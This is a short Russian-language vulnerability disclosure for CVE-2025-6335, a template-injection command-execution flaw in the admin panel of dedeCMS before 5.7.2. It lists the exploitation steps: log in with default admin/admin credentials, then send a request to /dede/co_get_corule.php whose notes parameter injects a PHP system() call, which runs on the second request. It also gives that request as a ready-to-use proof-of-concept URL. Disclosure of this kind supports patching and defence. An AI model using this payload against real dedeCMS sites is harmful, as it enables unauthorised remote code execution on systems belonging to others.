CVE-2025-6335

Название: Уязвимость выполнения команд через шаблонную инъекцию в dedeCMS 5.7 sp2

BUG_Author: Ewoji

Затронутая версия: dedeCMS < 5.7.2

Вендор: Shanghai Zhuozhuo Network Technology Co., LTD

ПО: dedeCMS

Уязвимые файлы:

• /include/dedetag.class.php

Описание:

1. После установки войдите в панель администратора

   • Используйте учётные данные по умолчанию admin/admin

2. Эксплуатация шаблона

   • Откройте интерфейс dede/co_get_corule.php
   • Передайте параметр /dede/co_get_corule.php? notes={dede:"); system('calc'); ///}&job=1. Если обратиться к нему дважды, можно выполнить команду

3. Проверка эксплуатации:

   • Если инъекция прошла успешно, злоумышленник сможет выполнять произвольные команды

Подтверждение концепции:

/dede/co_get_corule.php?notes={dede:\");system('calc');///}&job=1
Accessing twice like this can execute the command